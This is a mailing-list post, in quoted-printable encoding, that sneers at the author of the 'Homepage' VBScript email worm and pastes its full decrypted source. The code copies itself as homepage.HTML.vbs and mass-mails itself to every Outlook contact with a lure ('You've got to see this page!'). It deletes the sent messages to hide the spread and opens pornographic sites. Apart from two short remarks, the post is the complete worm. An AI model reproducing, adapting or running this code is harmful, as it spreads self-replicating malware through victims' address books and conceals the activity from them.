Hi.=0D
=0D
Microsoft maybe does not care a lot about security but clearly cares about =
=0D
self-confidence, there should be a lot of people that feels very clever=0D
writing this kind of stuff, of course they are not:=0D
=0D
On Error Resume Next=0D
Set WS =3D CreateObject("WScript.Shell")=0D
Set FSO=3D Createobject("scripting.filesystemobject")=0D
Folder=3DFSO.GetSpecialFolder(2)=0D
=0D
Set InF=3DFSO.OpenTextFile(WScript.ScriptFullname,1)=0D
Do While InF.AtEndOfStream<> True=0D
ScriptBuffer=3DScriptBuffer&InF.ReadLine&vbcrlf=0D
Loop=0D
=0D
Set OutF=3DFSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)=0D
OutF.write ScriptBuffer=0D
OutF.close=0D
Set FSO=3DNothing=0D
=0D
If WS.regread ("HKCU\software\An\mailed") <>  "1" then=0D
Mailit()=0D
End If=0D
=0D
Set s=3DCreateObject("Outlook.Application")=0D
Set t=3Ds.GetNameSpace("MAPI")=0D
Set u=3Dt.GetDefaultFolder(6)=0D
For i=3D1 to u.items.count=0D
If u.Items.Item(i).subject=3D"Homepage" Then=0D
u.Items.Item(i).close=0D
u.Items.Item(i).delete=0D
End If=0D
Next=0D
Set u=3Dt.GetDefaultFolder(3)=0D
For i=3D1 to u.items.count=0D
If u.Items.Item(i).subject=3D"Homepage" Then=0D
u.Items.Item(i).delete=0D
End If=0D
Next=0D
=0D
Randomize=0D
r=3DInt((4*Rnd)+1)=0D
If r=3D1 then=0D
WS.Run("http://hardcore.pornbillboard.net/shannon/1.htm")=0D
elseif r=3D2 Then=0D
WS.Run("http://members.nbci.com/_XMCM/prinzje/1.htm")=0D
elseif r=3D3 Then=0D
WS.Run("http://www2.sexcropolis.com/amateur/sheila/1.htm")=0D
ElseIf r=3D4 Then=0D
WS.Run("http://sheila.issexy.tv/1.htm")=0D
End If=0D
=0D
Function Mailit()=0D
On Error Resume Next=0D
Set Outlook =3D CreateObject("Outlook.Application")=0D
If Outlook =3D "Outlook" Then=0D
	Set Mapi=3DOutlook.GetNameSpace("MAPI")=0D
	Set Lists=3DMapi.AddressLists=0D
	For Each ListIndex In Lists=0D
		If ListIndex.AddressEntries.Count <>  0 Then=0D
			ContactCount =3D ListIndex.AddressEntries.Count=0D
			For Count=3D 1 To ContactCount=0D
				Set Mail =3D Outlook.CreateItem(0)=0D
				Set Contact =3D ListIndex.AddressEntries(Count)=0D
				Mail.To =3D Contact.Address=0D
				Mail.Subject =3D "Homepage"=0D
				Mail.Body =3D vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've =0D
got to see this page! It's really cool ;O)"&vbcrlf&vbcrlf=0D
				Set Attachment=3DMail.Attachments=0D
				Attachment.Add Folder & "\homepage.HTML.vbs"=0D
				Mail.DeleteAfterSubmit =3D True=0D
				If Mail.To <>  "" Then=0D
				Mail.Send=0D
				WS.regwrite "HKCU\software\An\mailed", "1"=0D
			End If=0D
			Next=0D
		End If=0D
	Next=0D
End if=0D
End Function=0D
=0D
=0D
PS: of course I have decrypted the silly vbs with few lines of python ;)=0D
=0D
=0D
_______________________________________________=0D
JPython-Interest maillist  -  JPython-Interest@python.org=0D
http://mail.python.org/mailman/listinfo/jpython-interest=0D